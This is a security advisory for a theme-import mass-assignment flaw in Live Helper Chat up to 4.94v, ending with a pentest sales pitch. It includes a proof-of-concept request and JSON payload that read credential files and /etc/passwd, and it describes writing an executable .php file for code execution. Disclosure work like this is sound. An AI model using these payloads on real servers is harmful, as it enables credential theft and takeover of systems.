Live Helper Chat: File Access and Code Execution via the Theme Import

An account holding the single administratethemes permission sets arbitrary model attributes through an imported theme file and uses them to read, delete and write files on the server, up to an executable .php in the web root.

Advisory ID: TP-2026-149
Product: Live Helper Chat (open-source live support chat application for websites)
Vulnerability type: Mass assignment of dynamically determined object attributes (CWE-915)
CVE: not requested
CVSS 3.1: 8.8 (High) · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Vendor advisory: GHSA-g84g-6ggw-j4g6
Affected versions: up to and including 4.94v (verified live: commit d8787d04)
Fixed in: 4.95v
Reported: 10 October 2026

Summary

Live Helper Chat is an open-source live support chat application for websites. The theme import passes the uploaded JSON file unfiltered to setState(), which sets every key as a property of the theme model, including keys the import form never offers. Through the path attributes of the logo the theme export reads arbitrary files, unlink() deletes them, and logo_image_pending stores an uploaded file in the web root without an extension check. An account holding the single lhtheme/administratethemes permission reads settings/settings.ini.php including the database credentials and runs its own PHP code as the web server user.

Root cause

lhc_web/modules/lhtheme/import.php:80 applies the decoded upload to the model with $widgetTheme->setState($data), and setState() is a loop without a whitelist that sets every key as a property (lhc_web/lib/core/lhcore/lhdbtrait.php:6-11).
The model carries #[\AllowDynamicProperties], so logo_image, logo_image_path and logo_image_pending are taken from the file as well.
lhc_web/lib/models/lhabstract/erlhabstractmodelwidgettheme.php:129 reads file_get_contents($this->{$attr.'_path'}.'/'.$this->$attr), and lhc_web/modules/lhtheme/export.php:34 returns the content base64 encoded.
The same attribute pair goes to unlink() in erlhabstractmodelwidgettheme.php:177-178.
afterSave() calls movePhoto($attr) in erlhabstractmodelwidgettheme.php:232-236 with the default $isLocal = false, so the upload is stored through moveUploadedFile() without an extension check.

Proof of Concept

POST /index.php/site_admin/theme/import HTTP/1.1
Content-Type: multipart/form-data

csfr_token=<token>, ImportTheme=Import, themefile=theme.json

theme.json:
{"name":"chk08","logo_image_path":"settings","logo_image":"settings.ini.php"}

GET /index.php/site_admin/theme/export/<id> HTTP/1.1

-> logo_image_data, 18566 bytes decoded
   SHA-256 identical to /var/www/html/settings/settings.ini.php

The export reads the file named by the imported attribute pair and returns it base64 encoded as the logo. Verified on 4.94v (commit d8787d04) in Docker with the default configuration, using an account whose role holds exactly one permission: lhtheme / administratethemes. With logo_image_path ../../../../etc and logo_image passwd the export returns /etc/passwd; with "logo_image_pending": true and an uploaded .php the file lands under var/storagetheme/<y>/<m>/<d>/<id>/, and a GET on that path executed it. An account in the stock Operators role is refused on the import, as the control.

Impact

  • Code execution as the web server user through a .php file written by the import and fetched over HTTP.
  • Every file readable by the web server is exfiltrated, including secrethash and the database credentials in settings/settings.ini.php.
  • Files in any directory writable by the web server user are deleted, regardless of owner and file mode.
  • The only precondition is the administratethemes permission, which an administrator must have granted; the stock Operators role does not hold it.

References

Is Something Like This in Your Software?

Our team found this vulnerability during its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.